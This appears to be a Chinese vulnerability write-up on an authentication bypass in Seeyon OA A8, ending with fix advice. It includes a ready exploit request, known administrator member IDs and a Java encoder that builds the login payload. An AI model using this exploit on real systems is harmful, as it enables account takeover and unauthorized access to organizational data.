致远OA A8-V5 任意用户登录漏洞分析
字数 693 2025-08-23 18:31:09
致远OA A8-V5 任意用户登录漏洞分析报告
漏洞概述
致远OA A8-V5版本存在一个严重的任意用户登录漏洞,攻击者可以通过构造特定的请求绕过认证机制,直接获取系统管理员权限。
漏洞环境
- 受影响版本:致远A8 V7.0
漏洞利用
利用接口
/seeyon/thirdpartyController.do
利用方法
- 构造GET请求访问漏洞接口:
GET /seeyon/thirdpartyController.do?method=access&enc=TT5uZnR0YmhmL21qb2wvY2N0L3BxZm8nTj4uODM4NDE0MzEyNDM0NTg1OTI3OSdVPjo6Ojo6Ojo6Ojo6Ojo= HTTP/1.1
Host: 目标IP
- 从响应中获取JSESSIONID
- 使用获取的JSESSIONID访问需要认证的接口:
GET /seeyon/online.do?method=showOnlineUser HTTP/1.1
Host: 目标IP
Cookie: JSESSIONID=获取的SESSIONID
漏洞分析
漏洞位置
漏洞位于com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController类的access方法中。
关键代码分析
- 参数解码过程:
String enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
LightWeightEncoder.decodeString方法实现:
public static String decodeString(String encodeString) {
if (encodeString == null) {
return null;
} else {
try {
encodeString = new String((new Base64()).decode(encodeString.getBytes()));
} catch (Exception var3) {
log.warn(var3.getMessage());
}
char[] encodeStringCharArray = encodeString.toCharArray();
for (int i = 0; i < encodeStringCharArray.length; ++i) {
--encodeStringCharArray[i];
}
return new String(encodeStringCharArray);
}
}
该方法先进行Base64解码,然后将每个字符的ASCII码减1。
- 参数解析:
解码后的字符串格式为L=xxx&M=yyy&T=zzz,被解析为Map结构:
Map<String, String> encMap = new HashMap();
String[] enc0 = enc.split("[&]");
for (String enc1 : enc0) {
String[] enc2 = enc1.split("[=]");
if (enc2 != null) {
String path = enc2[0];
String startTimeStr = enc2.length == 2 ? enc2[1] : null;
encMap.put(path, startTimeStr);
}
}
- 关键参数检查:
- 检查时间戳是否过期:
if ((System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
return mv;
}
- 检查memberId是否存在:
String _memberId = (String)encMap.get("M");
if (_memberId == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}
memberId = Long.parseLong(_memberId);
- 检查linkType是否有效:
link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
if (link == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}
- 用户会话创建:
V3xOrgMember member = this.orgManager.getMemberById(memberId);
currentUser = new User();
session.setAttribute("com.seeyon.current_user", currentUser);
AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", currentUser);
currentUser.setId(memberId);
currentUser.setName(member.getName());
currentUser.setLoginName(member.getLoginName());
// 设置其他用户属性...
绕过认证的关键
- 构造有效的linkType(从
/base/message-link.properties中获取) - 使用已知的管理员memberId
- 设置足够大的时间戳避免过期检查
已知管理员memberId
"5725175934914479521" - "集团管理员"
"-7273032013234748168" - "系统管理员"
"-7273032013234748798" - "系统监控"
"-4401606663639775639" - "审计管理员"
编码/解码工具
public class Test {
public static void main(String[] args) {
System.out.println(encodeString("L=message.link.bbs.open&M=-7273032013234748168&T=9999999999999"));
}
public static String decodeString(String encodeString) {
if (encodeString == null) {
return null;
} else {
try {
encodeString = new String((new Base64()).decode(encodeString.getBytes()));
} catch (Exception var3) {
System.out.println(var3.getMessage());
}
char[] encodeStringCharArray = encodeString.toCharArray();
for (int i = 0; i < encodeStringCharArray.length; ++i) {
--encodeStringCharArray[i];
}
return new String(encodeStringCharArray);
}
}
public static String encodeString(String encodeString) {
if (encodeString == null) {
return null;
} else {
char[] encodeStringCharArray = encodeString.toCharArray();
for (int i = 0; i < encodeStringCharArray.length; ++i) {
++encodeStringCharArray[i];
}
try {
encodeString = new String((new Base64()).encode((new String(encodeStringCharArray)).getBytes()));
} catch (Exception var3) {
System.out.println(var3.getMessage());
}
return encodeString;
}
}
}
漏洞修复建议
- 对thirdpartyController接口增加严格的权限验证
- 对memberId参数进行有效性检查,避免直接使用用户输入
- 更新到最新版本,官方可能已发布补丁